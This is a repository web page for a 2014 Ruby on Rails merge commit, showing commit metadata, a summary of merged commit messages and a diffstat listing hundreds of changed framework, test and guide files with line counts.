aboutsummaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
authorAaron Patterson <aaron.patterson@gmail.com>2014-01-10 11:00:30 -0800
committerAaron Patterson <aaron.patterson@gmail.com>2014-01-10 11:00:30 -0800
commitcaa981d88112f019ade868f75af6b5f399c244a4 (patch)
treeb760cd5a28612eae612f6055680083cff206b043
parent71d19f15171e59b5dfddd66f3fa3a234c3f7911d (diff)
parentbd1bf2c5b8480fae0379890347d58b9fe8231e3e (diff)
downloadrails-caa981d88112f019ade868f75af6b5f399c244a4.tar.gz
rails-caa981d88112f019ade868f75af6b5f399c244a4.tar.bz2
rails-caa981d88112f019ade868f75af6b5f399c244a4.zip
Merge branch 'master' into laurocaetano-fix_send_file
* master: (536 commits) doc, API example on how to use `Model#exists?` with multiple IDs. [ci skip] Restore DATABASE_URL even if it's nil in connection_handler test [ci skip] - error_messages_for has been deprecated since 2.3.8 - lets reduce any confusion for users Ensure Active Record connection consistency Revert "ask the fixture set for the sql statements" Check `respond_to` before delegation due to: https://github.com/ruby/ruby/commit/d781caaf313b8649948c107bba277e5ad7307314 Adding Hash#compact and Hash#compact! methods MySQL version 4.1 was EOL on December 31, 2009 We should at least recommend modern versions of MySQL to users. clear cache on body close so that cache remains during rendering add a more restricted codepath for templates fixes #13390 refactor generator tests to use block form of Tempfile Fix typo [ci skip] Move finish_template as the last public method in the generator Minor typos fix [ci skip] make `change_column_null` reversible. Closes #13576. create/drop test and development databases only if RAILS_ENV is nil Revert "Speedup String#to" typo fix in test name. [ci skip]. `core_ext/string/access.rb` test what we are documenting. Fix typo in image_tag documentation ... Conflicts: actionpack/CHANGELOG.md
-rw-r--r--.travis.yml13
-rw-r--r--Gemfile7
-rw-r--r--RAILS_VERSION2
-rw-r--r--RELEASING_RAILS.rdoc2
-rw-r--r--actionmailer/CHANGELOG.md25
-rw-r--r--actionmailer/MIT-LICENSE2
-rw-r--r--actionmailer/lib/action_mailer.rb4
-rw-r--r--actionmailer/lib/action_mailer/base.rb60
-rw-r--r--actionmailer/lib/action_mailer/preview.rb73
-rw-r--r--actionmailer/lib/action_mailer/railtie.rb10
-rw-r--r--actionmailer/lib/action_mailer/version.rb2
-rw-r--r--actionmailer/test/abstract_unit.rb3
-rw-r--r--actionmailer/test/base_test.rb21
-rw-r--r--actionmailer/test/i18n_with_controller_test.rb3
-rw-r--r--actionpack/CHANGELOG.md197
-rw-r--r--actionpack/MIT-LICENSE2
-rw-r--r--actionpack/actionpack.gemspec2
-rw-r--r--actionpack/lib/abstract_controller/collector.rb12
-rw-r--r--actionpack/lib/abstract_controller/rendering.rb8
-rw-r--r--actionpack/lib/action_controller.rb2
-rw-r--r--actionpack/lib/action_controller/base.rb21
-rw-r--r--actionpack/lib/action_controller/metal/head.rb2
-rw-r--r--actionpack/lib/action_controller/metal/instrumentation.rb2
-rw-r--r--actionpack/lib/action_controller/metal/live.rb2
-rw-r--r--actionpack/lib/action_controller/metal/mime_responds.rb122
-rw-r--r--actionpack/lib/action_controller/metal/redirecting.rb2
-rw-r--r--actionpack/lib/action_controller/metal/renderers.rb2
-rw-r--r--actionpack/lib/action_controller/metal/request_forgery_protection.rb79
-rw-r--r--actionpack/lib/action_controller/metal/responder.rb2
-rw-r--r--actionpack/lib/action_controller/metal/strong_parameters.rb40
-rw-r--r--actionpack/lib/action_controller/railtie.rb1
-rw-r--r--actionpack/lib/action_dispatch.rb2
-rw-r--r--actionpack/lib/action_dispatch/http/mime_negotiation.rb16
-rw-r--r--actionpack/lib/action_dispatch/http/mime_type.rb11
-rw-r--r--actionpack/lib/action_dispatch/http/mime_types.rb1
-rw-r--r--actionpack/lib/action_dispatch/http/request.rb4
-rw-r--r--actionpack/lib/action_dispatch/http/response.rb2
-rw-r--r--actionpack/lib/action_dispatch/journey/formatter.rb4
-rw-r--r--actionpack/lib/action_dispatch/journey/parser.rb2
-rw-r--r--actionpack/lib/action_dispatch/journey/visitors.rb28
-rw-r--r--actionpack/lib/action_dispatch/middleware/cookies.rb16
-rw-r--r--actionpack/lib/action_dispatch/middleware/exception_wrapper.rb2
-rw-r--r--actionpack/lib/action_dispatch/middleware/session/cookie_store.rb9
-rw-r--r--actionpack/lib/action_dispatch/middleware/static.rb6
-rw-r--r--actionpack/lib/action_dispatch/middleware/templates/routes/_table.html.erb4
-rw-r--r--actionpack/lib/action_dispatch/railtie.rb2
-rw-r--r--actionpack/lib/action_dispatch/request/session.rb16
-rw-r--r--actionpack/lib/action_dispatch/request/utils.rb6
-rw-r--r--actionpack/lib/action_dispatch/routing/inspector.rb2
-rw-r--r--actionpack/lib/action_dispatch/routing/mapper.rb16
-rw-r--r--actionpack/lib/action_dispatch/routing/redirection.rb59
-rw-r--r--actionpack/lib/action_dispatch/routing/route_set.rb56
-rw-r--r--actionpack/lib/action_dispatch/testing/assertions/routing.rb2
-rw-r--r--actionpack/lib/action_dispatch/testing/integration.rb4
-rw-r--r--actionpack/lib/action_pack.rb2
-rw-r--r--actionpack/lib/action_pack/version.rb2
-rw-r--r--actionpack/test/abstract/collector_test.rb2
-rw-r--r--actionpack/test/abstract_unit.rb8
-rw-r--r--actionpack/test/assertions/response_assertions_test.rb10
-rw-r--r--actionpack/test/controller/action_pack_assertions_test.rb16
-rw-r--r--actionpack/test/controller/filters_test.rb11
-rw-r--r--actionpack/test/controller/http_digest_authentication_test.rb2
-rw-r--r--actionpack/test/controller/localized_templates_test.rb11
-rw-r--r--actionpack/test/controller/mime/respond_to_test.rb250
-rw-r--r--actionpack/test/controller/parameters/parameters_permit_test.rb26
-rw-r--r--actionpack/test/controller/render_js_test.rb2
-rw-r--r--actionpack/test/controller/render_json_test.rb4
-rw-r--r--actionpack/test/controller/render_test.rb2
-rw-r--r--actionpack/test/controller/request_forgery_protection_test.rb88
-rw-r--r--actionpack/test/controller/routing_test.rb13
-rw-r--r--actionpack/test/controller/send_file_test.rb2
-rw-r--r--actionpack/test/dispatch/mime_type_test.rb6
-rw-r--r--actionpack/test/dispatch/mount_test.rb13
-rw-r--r--actionpack/test/dispatch/prefix_generation_test.rb152
-rw-r--r--actionpack/test/dispatch/request/query_string_parsing_test.rb30
-rw-r--r--actionpack/test/dispatch/request/session_test.rb5
-rw-r--r--actionpack/test/dispatch/request_test.rb31
-rw-r--r--actionpack/test/dispatch/routing/inspector_test.rb12
-rw-r--r--actionpack/test/dispatch/routing_test.rb77
-rw-r--r--actionpack/test/dispatch/static_test.rb19
-rw-r--r--actionpack/test/dispatch/url_generation_test.rb2
-rw-r--r--actionpack/test/fixtures/localized/hello_world.it.erb1
-rw-r--r--actionpack/test/fixtures/respond_to/variant_any_implicit_render.html+phablet.erb1
-rw-r--r--actionpack/test/fixtures/respond_to/variant_any_implicit_render.html+tablet.erb1
-rw-r--r--actionpack/test/fixtures/respond_to/variant_inline_syntax_without_block.html+phone.erb1
-rw-r--r--actionpack/test/fixtures/respond_to/variant_plus_none_for_format.html.erb1
-rw-r--r--actionpack/test/fixtures/respond_to/variant_with_implicit_rendering.html+mobile.erb1
-rw-r--r--actionpack/test/fixtures/公共/foo/bar.html1
-rw-r--r--actionpack/test/fixtures/公共/foo/baz.css3
-rw-r--r--actionpack/test/fixtures/公共/foo/index.html1
-rw-r--r--actionpack/test/fixtures/公共/foo/こんにちは.html1
-rw-r--r--actionpack/test/fixtures/公共/index.html1
-rw-r--r--actionview/CHANGELOG.md70
-rw-r--r--actionview/MIT-LICENSE2
-rw-r--r--actionview/actionview.gemspec6
-rw-r--r--actionview/lib/action_view.rb4
-rw-r--r--actionview/lib/action_view/base.rb2
-rw-r--r--actionview/lib/action_view/helpers.rb6
-rw-r--r--actionview/lib/action_view/helpers/active_model_helper.rb2
-rw-r--r--actionview/lib/action_view/helpers/asset_tag_helper.rb34
-rw-r--r--actionview/lib/action_view/helpers/date_helper.rb10
-rw-r--r--actionview/lib/action_view/helpers/form_helper.rb15
-rw-r--r--actionview/lib/action_view/helpers/form_options_helper.rb2
-rw-r--r--actionview/lib/action_view/helpers/form_tag_helper.rb4
-rw-r--r--actionview/lib/action_view/helpers/number_helper.rb9
-rw-r--r--actionview/lib/action_view/helpers/tags.rb64
-rw-r--r--actionview/lib/action_view/helpers/tags/collection_helpers.rb2
-rw-r--r--actionview/lib/action_view/helpers/tags/label.rb1
-rw-r--r--actionview/lib/action_view/helpers/text_helper.rb9
-rw-r--r--actionview/lib/action_view/helpers/translation_helper.rb30
-rw-r--r--actionview/lib/action_view/lookup_context.rb8
-rw-r--r--actionview/lib/action_view/railtie.rb9
-rw-r--r--actionview/lib/action_view/renderer/streaming_template_renderer.rb2
-rw-r--r--actionview/lib/action_view/rendering.rb6
-rw-r--r--actionview/lib/action_view/template/error.rb3
-rw-r--r--actionview/lib/action_view/template/handlers/erb.rb4
-rw-r--r--actionview/lib/action_view/template/resolver.rb19
-rw-r--r--actionview/lib/action_view/template/types.rb2
-rw-r--r--actionview/lib/action_view/testing/resolvers.rb2
-rw-r--r--actionview/lib/action_view/vendor/html-scanner/html/node.rb4
-rw-r--r--actionview/lib/action_view/vendor/html-scanner/html/sanitizer.rb2
-rw-r--r--actionview/lib/action_view/vendor/html-scanner/html/selector.rb2
-rw-r--r--actionview/lib/action_view/vendor/html-scanner/html/tokenizer.rb2
-rw-r--r--actionview/lib/action_view/version.rb2
-rw-r--r--actionview/test/abstract_unit.rb5
-rw-r--r--actionview/test/actionpack/abstract/helper_test.rb6
-rw-r--r--actionview/test/actionpack/controller/layout_test.rb6
-rw-r--r--actionview/test/actionpack/controller/render_test.rb10
-rw-r--r--actionview/test/activerecord/form_helper_activerecord_test.rb2
-rw-r--r--actionview/test/fixtures/developer.rb4
-rw-r--r--actionview/test/template/asset_tag_helper_test.rb10
-rw-r--r--actionview/test/template/erb_util_test.rb46
-rw-r--r--actionview/test/template/form_collections_helper_test.rb40
-rw-r--r--actionview/test/template/form_helper_test.rb38
-rw-r--r--actionview/test/template/form_tag_helper_test.rb2
-rw-r--r--actionview/test/template/lookup_context_test.rb11
-rw-r--r--actionview/test/template/number_helper_test.rb3
-rw-r--r--actionview/test/template/render_test.rb4
-rw-r--r--actionview/test/template/testing/fixture_resolver_test.rb4
-rw-r--r--actionview/test/template/text_helper_test.rb12
-rw-r--r--actionview/test/template/translation_helper_test.rb8
-rw-r--r--activemodel/CHANGELOG.md12
-rw-r--r--activemodel/MIT-LICENSE2
-rw-r--r--activemodel/README.rdoc4
-rw-r--r--activemodel/activemodel.gemspec2
-rw-r--r--activemodel/lib/active_model.rb2
-rw-r--r--activemodel/lib/active_model/attribute_methods.rb29
-rw-r--r--activemodel/lib/active_model/callbacks.rb2
-rw-r--r--activemodel/lib/active_model/conversion.rb4
-rw-r--r--activemodel/lib/active_model/dirty.rb10
-rw-r--r--activemodel/lib/active_model/errors.rb44
-rw-r--r--activemodel/lib/active_model/lint.rb2
-rw-r--r--activemodel/lib/active_model/model.rb2
-rw-r--r--activemodel/lib/active_model/secure_password.rb12
-rw-r--r--activemodel/lib/active_model/serialization.rb2
-rw-r--r--activemodel/lib/active_model/serializers/json.rb2
-rw-r--r--activemodel/lib/active_model/serializers/xml.rb2
-rw-r--r--activemodel/lib/active_model/validations.rb2
-rw-r--r--activemodel/lib/active_model/validations/callbacks.rb2
-rw-r--r--activemodel/lib/active_model/validations/length.rb2
-rw-r--r--activemodel/lib/active_model/validations/validates.rb2
-rw-r--r--activemodel/lib/active_model/validator.rb6
-rw-r--r--activemodel/lib/active_model/version.rb2
-rw-r--r--activemodel/test/cases/dirty_test.rb10
-rw-r--r--activemodel/test/cases/errors_test.rb66
-rw-r--r--activemodel/test/cases/helper.rb3
-rw-r--r--activemodel/test/cases/secure_password_test.rb1
-rw-r--r--activemodel/test/models/administrator.rb11
-rw-r--r--activerecord/CHANGELOG.md438
-rw-r--r--activerecord/MIT-LICENSE2
-rw-r--r--activerecord/activerecord.gemspec2
-rw-r--r--activerecord/lib/active_record.rb2
-rw-r--r--activerecord/lib/active_record/associations.rb4
-rw-r--r--activerecord/lib/active_record/associations/association.rb5
-rw-r--r--activerecord/lib/active_record/associations/belongs_to_association.rb59
-rw-r--r--activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb7
-rw-r--r--activerecord/lib/active_record/associations/builder/association.rb60
-rw-r--r--activerecord/lib/active_record/associations/builder/belongs_to.rb16
-rw-r--r--activerecord/lib/active_record/associations/builder/collection_association.rb24
-rw-r--r--activerecord/lib/active_record/associations/builder/has_and_belongs_to_many.rb12
-rw-r--r--activerecord/lib/active_record/associations/builder/has_many.rb4
-rw-r--r--activerecord/lib/active_record/associations/builder/has_one.rb6
-rw-r--r--activerecord/lib/active_record/associations/builder/singular_association.rb2
-rw-r--r--activerecord/lib/active_record/associations/collection_association.rb12
-rw-r--r--activerecord/lib/active_record/associations/collection_proxy.rb14
-rw-r--r--activerecord/lib/active_record/associations/join_dependency.rb2
-rw-r--r--activerecord/lib/active_record/associations/preloader.rb2
-rw-r--r--activerecord/lib/active_record/associations/preloader/singular_association.rb2
-rw-r--r--activerecord/lib/active_record/associations/singular_association.rb4
-rw-r--r--activerecord/lib/active_record/attribute_methods.rb21
-rw-r--r--activerecord/lib/active_record/attribute_methods/read.rb2
-rw-r--r--activerecord/lib/active_record/base.rb2
-rw-r--r--activerecord/lib/active_record/callbacks.rb4
-rw-r--r--activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb2
-rw-r--r--activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb8
-rw-r--r--activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb2
-rw-r--r--activerecord/lib/active_record/connection_adapters/abstract/quoting.rb4
-rw-r--r--activerecord/lib/active_record/connection_adapters/abstract/schema_creation.rb7
-rw-r--r--activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb5
-rw-r--r--activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb47
-rw-r--r--activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb12
-rw-r--r--activerecord/lib/active_record/connection_adapters/connection_specification.rb243
-rw-r--r--activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb6
-rw-r--r--activerecord/lib/active_record/connection_adapters/mysql_adapter.rb17
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql/cast.rb2
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql/database_statements.rb2
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql/oid.rb6
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb2
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb86
-rw-r--r--activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb12
-rw-r--r--activerecord/lib/active_record/connection_handling.rb67
-rw-r--r--activerecord/lib/active_record/core.rb12
-rw-r--r--activerecord/lib/active_record/counter_cache.rb8
-rw-r--r--activerecord/lib/active_record/dynamic_matchers.rb9
-rw-r--r--activerecord/lib/active_record/enum.rb60
-rw-r--r--activerecord/lib/active_record/errors.rb14
-rw-r--r--activerecord/lib/active_record/fixture_set/file.rb3
-rw-r--r--activerecord/lib/active_record/fixtures.rb56
-rw-r--r--activerecord/lib/active_record/inheritance.rb4
-rw-r--r--activerecord/lib/active_record/integration.rb6
-rw-r--r--activerecord/lib/active_record/migration.rb40
-rw-r--r--activerecord/lib/active_record/migration/command_recorder.rb17
-rw-r--r--activerecord/lib/active_record/null_relation.rb6
-rw-r--r--activerecord/lib/active_record/persistence.rb7
-rw-r--r--activerecord/lib/active_record/railtie.rb19
-rw-r--r--activerecord/lib/active_record/railties/databases.rake59
-rw-r--r--activerecord/lib/active_record/relation/calculations.rb41
-rw-r--r--activerecord/lib/active_record/relation/delegation.rb37
-rw-r--r--activerecord/lib/active_record/relation/finder_methods.rb3
-rw-r--r--activerecord/lib/active_record/relation/predicate_builder.rb18
-rw-r--r--activerecord/lib/active_record/relation/query_methods.rb19
-rw-r--r--activerecord/lib/active_record/sanitization.rb9
-rw-r--r--activerecord/lib/active_record/store.rb2
-rw-r--r--activerecord/lib/active_record/tasks/database_tasks.rb68
-rw-r--r--activerecord/lib/active_record/validations/presence.rb2
-rw-r--r--activerecord/lib/active_record/validations/uniqueness.rb6
-rw-r--r--activerecord/lib/active_record/version.rb2
-rw-r--r--activerecord/test/cases/adapter_test.rb8
-rw-r--r--activerecord/test/cases/adapters/mysql/connection_test.rb6
-rw-r--r--activerecord/test/cases/adapters/mysql/mysql_adapter_test.rb14
-rw-r--r--activerecord/test/cases/adapters/mysql2/connection_test.rb8
-rw-r--r--activerecord/test/cases/adapters/mysql2/explain_test.rb6
-rw-r--r--activerecord/test/cases/adapters/mysql2/schema_test.rb9
-rw-r--r--activerecord/test/cases/adapters/postgresql/array_test.rb34
-rw-r--r--activerecord/test/cases/adapters/postgresql/datatype_test.rb282
-rw-r--r--activerecord/test/cases/adapters/postgresql/hstore_test.rb27
-rw-r--r--activerecord/test/cases/adapters/postgresql/json_test.rb10
-rw-r--r--activerecord/test/cases/adapters/postgresql/postgresql_adapter_test.rb20
-rw-r--r--activerecord/test/cases/adapters/postgresql/range_test.rb245
-rw-r--r--activerecord/test/cases/adapters/sqlite3/quoting_test.rb7
-rw-r--r--activerecord/test/cases/adapters/sqlite3/sqlite3_adapter_test.rb29
-rw-r--r--activerecord/test/cases/associations/belongs_to_associations_test.rb21
-rw-r--r--activerecord/test/cases/associations/cascaded_eager_loading_test.rb11
-rw-r--r--activerecord/test/cases/associations/extension_test.rb3
-rw-r--r--activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb7
-rw-r--r--activerecord/test/cases/associations/has_many_associations_test.rb14
-rw-r--r--activerecord/test/cases/associations/inner_join_association_test.rb2
-rw-r--r--activerecord/test/cases/attribute_methods_test.rb35
-rw-r--r--activerecord/test/cases/base_test.rb4
-rw-r--r--activerecord/test/cases/calculations_test.rb4
-rw-r--r--activerecord/test/cases/connection_adapters/connection_handler_test.rb127
-rw-r--r--activerecord/test/cases/connection_specification/resolver_test.rb76
-rw-r--r--activerecord/test/cases/dirty_test.rb8
-rw-r--r--activerecord/test/cases/enum_test.rb27
-rw-r--r--activerecord/test/cases/finder_test.rb21
-rw-r--r--activerecord/test/cases/fixture_set/file_test.rb55
-rw-r--r--activerecord/test/cases/helper.rb21
-rw-r--r--activerecord/test/cases/inheritance_test.rb4
-rw-r--r--activerecord/test/cases/integration_test.rb8
-rw-r--r--activerecord/test/cases/migration/change_schema_test.rb16
-rw-r--r--activerecord/test/cases/migration/change_table_test.rb2
-rw-r--r--activerecord/test/cases/migration/command_recorder_test.rb3
-rw-r--r--activerecord/test/cases/migration_test.rb40
-rw-r--r--activerecord/test/cases/multiple_db_test.rb2
-rw-r--r--activerecord/test/cases/persistence_test.rb14
-rw-r--r--activerecord/test/cases/query_cache_test.rb9
-rw-r--r--activerecord/test/cases/relation/delegation_test.rb104
-rw-r--r--activerecord/test/cases/relation/where_chain_test.rb6
-rw-r--r--activerecord/test/cases/relation/where_test.rb34
-rw-r--r--activerecord/test/cases/relation_test.rb11
-rw-r--r--activerecord/test/cases/relations_test.rb70
-rw-r--r--activerecord/test/cases/scoping/default_scoping_test.rb2
-rw-r--r--activerecord/test/cases/store_test.rb4
-rw-r--r--activerecord/test/cases/tasks/database_tasks_test.rb28
-rw-r--r--activerecord/test/cases/timestamp_test.rb58
-rw-r--r--activerecord/test/cases/transaction_isolation_test.rb4
-rw-r--r--activerecord/test/cases/validations/presence_validation_test.rb16
-rw-r--r--activerecord/test/cases/validations_test.rb8
-rw-r--r--activerecord/test/migrations/version_check/20131219224947_migration_version_check.rb8
-rw-r--r--activerecord/test/models/admin/user.rb1
-rw-r--r--activerecord/test/models/author.rb2
-rw-r--r--activerecord/test/models/developer.rb4
-rw-r--r--activerecord/test/schema/postgresql_specific_schema.rb15
-rw-r--r--activerecord/test/schema/schema.rb2
-rw-r--r--activerecord/test/support/connection.rb4
-rw-r--r--activesupport/CHANGELOG.md179
-rw-r--r--activesupport/MIT-LICENSE2
-rw-r--r--activesupport/activesupport.gemspec4
-rw-r--r--activesupport/lib/active_support.rb9
-rw-r--r--activesupport/lib/active_support/backtrace_cleaner.rb2
-rw-r--r--activesupport/lib/active_support/cache.rb4
-rw-r--r--activesupport/lib/active_support/cache/file_store.rb46
-rw-r--r--activesupport/lib/active_support/cache/mem_cache_store.rb14
-rw-r--r--activesupport/lib/active_support/cache/memory_store.rb2
-rw-r--r--activesupport/lib/active_support/cache/strategy/local_cache.rb10
-rw-r--r--activesupport/lib/active_support/callbacks.rb10
-rw-r--r--activesupport/lib/active_support/configurable.rb2
-rw-r--r--activesupport/lib/active_support/core_ext/class.rb1
-rw-r--r--activesupport/lib/active_support/core_ext/class/attribute_accessors.rb185
-rw-r--r--activesupport/lib/active_support/core_ext/class/delegating_attributes.rb17
-rw-r--r--activesupport/lib/active_support/core_ext/date/conversions.rb11
-rw-r--r--activesupport/lib/active_support/core_ext/date_and_time/calculations.rb21
-rw-r--r--activesupport/lib/active_support/core_ext/date_time/calculations.rb6
-rw-r--r--activesupport/lib/active_support/core_ext/hash.rb1
-rw-r--r--activesupport/lib/active_support/core_ext/hash/compact.rb20
-rw-r--r--activesupport/lib/active_support/core_ext/hash/except.rb2
-rw-r--r--activesupport/lib/active_support/core_ext/hash/keys.rb20
-rw-r--r--activesupport/lib/active_support/core_ext/kernel/reporting.rb1
-rw-r--r--activesupport/lib/active_support/core_ext/module.rb1
-rw-r--r--activesupport/lib/active_support/core_ext/module/attribute_accessors.rb174
-rw-r--r--activesupport/lib/active_support/core_ext/module/concerning.rb135
-rw-r--r--activesupport/lib/active_support/core_ext/object/blank.rb60
-rw-r--r--activesupport/lib/active_support/core_ext/string/access.rb2
-rw-r--r--activesupport/lib/active_support/core_ext/string/output_safety.rb83
-rw-r--r--activesupport/lib/active_support/core_ext/thread.rb2
-rw-r--r--activesupport/lib/active_support/core_ext/time/calculations.rb31
-rw-r--r--activesupport/lib/active_support/dependencies.rb20
-rw-r--r--activesupport/lib/active_support/i18n_railtie.rb11
-rw-r--r--activesupport/lib/active_support/inflector/methods.rb3
-rw-r--r--activesupport/lib/active_support/json/encoding.rb72
-rw-r--r--activesupport/lib/active_support/logger.rb2
-rw-r--r--activesupport/lib/active_support/message_encryptor.rb6
-rw-r--r--activesupport/lib/active_support/message_verifier.rb7
-rw-r--r--activesupport/lib/active_support/multibyte/unicode.rb72
-rw-r--r--activesupport/lib/active_support/number_helper.rb329
-rw-r--r--activesupport/lib/active_support/number_helper/number_converter.rb182
-rw-r--r--activesupport/lib/active_support/number_helper/number_to_currency_converter.rb46
-rw-r--r--activesupport/lib/active_support/number_helper/number_to_delimited_converter.rb21
-rw-r--r--activesupport/lib/active_support/number_helper/number_to_human_converter.rb66
-rw-r--r--activesupport/lib/active_support/number_helper/number_to_human_size_converter.rb58
-rw-r--r--activesupport/lib/active_support/number_helper/number_to_percentage_converter.rb12
-rw-r--r--activesupport/lib/active_support/number_helper/number_to_phone_converter.rb49
-rw-r--r--activesupport/lib/active_support/number_helper/number_to_rounded_converter.rb92
-rw-r--r--activesupport/lib/active_support/per_thread_registry.rb7
-rw-r--r--activesupport/lib/active_support/tagged_logging.rb1
-rw-r--r--activesupport/lib/active_support/testing/deprecation.rb21
-rw-r--r--activesupport/lib/active_support/testing/isolation.rb9
-rw-r--r--activesupport/lib/active_support/values/time_zone.rb52
-rw-r--r--activesupport/lib/active_support/values/unicode_tables.datbin904483 -> 904640 bytes
-rw-r--r--activesupport/lib/active_support/version.rb2
-rw-r--r--activesupport/test/abstract_unit.rb4
-rw-r--r--activesupport/test/caching_test.rb45
-rw-r--r--activesupport/test/callbacks_test.rb21
-rw-r--r--activesupport/test/configurable_test.rb14
-rw-r--r--activesupport/test/core_ext/blank_test.rb22
-rw-r--r--activesupport/test/core_ext/class/attribute_accessor_test.rb70
-rw-r--r--activesupport/test/core_ext/class/delegating_attributes_test.rb5
-rw-r--r--activesupport/test/core_ext/date_ext_test.rb17
-rw-r--r--activesupport/test/core_ext/duration_test.rb8
-rw-r--r--activesupport/test/core_ext/hash_ext_test.rb35
-rw-r--r--activesupport/test/core_ext/kernel_test.rb16
-rw-r--r--activesupport/test/core_ext/module/attribute_accessor_test.rb26
-rw-r--r--activesupport/test/core_ext/module/concerning_test.rb35
-rw-r--r--activesupport/test/core_ext/module_test.rb6
-rw-r--r--activesupport/test/core_ext/name_error_test.rb12
-rw-r--r--activesupport/test/core_ext/object_and_class_ext_test.rb25
-rw-r--r--activesupport/test/core_ext/string_ext_test.rb137
-rw-r--r--activesupport/test/core_ext/time_ext_test.rb7
-rw-r--r--activesupport/test/dependencies_test.rb70
-rw-r--r--activesupport/test/deprecation_test.rb11
-rw-r--r--activesupport/test/empty_bool.rb7
-rw-r--r--activesupport/test/fixtures/custom.rb2
-rw-r--r--activesupport/test/json/encoding_test.rb16
-rw-r--r--activesupport/test/message_encryptor_test.rb13
-rw-r--r--activesupport/test/message_verifier_test.rb22
-rw-r--r--activesupport/test/multibyte_chars_test.rb6
-rw-r--r--activesupport/test/number_helper_test.rb21
-rw-r--r--activesupport/test/safe_buffer_test.rb25
-rw-r--r--activesupport/test/test_test.rb8
-rw-r--r--activesupport/test/testing/constant_lookup_test.rb1
-rw-r--r--activesupport/test/time_zone_test.rb30
-rw-r--r--guides/bug_report_templates/action_controller_gem.rb7
-rw-r--r--guides/bug_report_templates/active_record_gem.rb5
-rw-r--r--guides/code/getting_started/Gemfile2
-rw-r--r--guides/code/getting_started/Gemfile.lock4
-rw-r--r--guides/code/getting_started/config/environments/production.rb2
-rw-r--r--guides/source/2_2_release_notes.md2
-rw-r--r--guides/source/3_1_release_notes.md2
-rw-r--r--guides/source/3_2_release_notes.md2
-rw-r--r--guides/source/4_0_release_notes.md6
-rw-r--r--guides/source/4_1_release_notes.md541
-rw-r--r--guides/source/_welcome.html.erb2
-rw-r--r--guides/source/action_controller_overview.md11
-rw-r--r--guides/source/action_view_overview.md14
-rw-r--r--guides/source/active_record_callbacks.md51
-rw-r--r--guides/source/active_record_querying.md2
-rw-r--r--guides/source/active_record_validations.md2
-rw-r--r--guides/source/active_support_core_extensions.md22
-rw-r--r--guides/source/api_documentation_guidelines.md24
-rw-r--r--guides/source/asset_pipeline.md47
-rw-r--r--guides/source/configuring.md150
-rw-r--r--guides/source/contributing_to_ruby_on_rails.md2
-rw-r--r--guides/source/credits.html.erb2
-rw-r--r--guides/source/development_dependencies_install.md2
-rw-r--r--guides/source/engines.md821
-rw-r--r--guides/source/form_helpers.md38
-rw-r--r--guides/source/generators.md2
-rw-r--r--guides/source/getting_started.md24
-rw-r--r--guides/source/i18n.md7
-rw-r--r--guides/source/layouts_and_rendering.md6
-rw-r--r--guides/source/migrations.md8
-rw-r--r--guides/source/plugins.md31
-rw-r--r--guides/source/rails_application_templates.md2
-rw-r--r--guides/source/rails_on_rack.md2
-rw-r--r--guides/source/routing.md4
-rw-r--r--guides/source/security.md56
-rw-r--r--guides/source/testing.md51
-rw-r--r--guides/source/upgrading_ruby_on_rails.md225
-rw-r--r--guides/source/working_with_javascript_in_rails.md20
-rw-r--r--railties/CHANGELOG.md89
-rw-r--r--railties/MIT-LICENSE2
-rw-r--r--railties/lib/rails.rb1
-rw-r--r--railties/lib/rails/application.rb73
-rw-r--r--railties/lib/rails/application/configuration.rb17
-rw-r--r--railties/lib/rails/application/default_middleware_stack.rb10
-rw-r--r--railties/lib/rails/application/finisher.rb2
-rw-r--r--railties/lib/rails/application_controller.rb16
-rw-r--r--railties/lib/rails/commands/dbconsole.rb17
-rw-r--r--railties/lib/rails/commands/plugin.rb14
-rw-r--r--railties/lib/rails/commands/runner.rb19
-rw-r--r--railties/lib/rails/engine.rb1
-rw-r--r--railties/lib/rails/generators/actions.rb16
-rw-r--r--railties/lib/rails/generators/app_base.rb64
-rw-r--r--railties/lib/rails/generators/base.rb2
-rw-r--r--railties/lib/rails/generators/erb.rb6
-rw-r--r--railties/lib/rails/generators/erb/controller/controller_generator.rb6
-rw-r--r--railties/lib/rails/generators/erb/mailer/mailer_generator.rb4
-rw-r--r--railties/lib/rails/generators/erb/mailer/templates/view.html.erb5
-rw-r--r--railties/lib/rails/generators/erb/scaffold/scaffold_generator.rb6
-rw-r--r--railties/lib/rails/generators/rails/app/app_generator.rb10
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/application.rb7
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/databases/frontbase.yml5
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/databases/ibm_db.yml5
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/databases/jdbc.yml5
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/databases/jdbcmysql.yml6
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/databases/jdbcpostgresql.yml16
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/databases/jdbcsqlite3.yml5
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/databases/mysql.yml11
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/databases/oracle.yml5
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml22
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/databases/sqlite3.yml9
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/databases/sqlserver.yml5
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt5
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt2
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/secrets.yml (renamed from railties/lib/rails/generators/rails/app/templates/config/initializers/secret_token.rb.tt)14
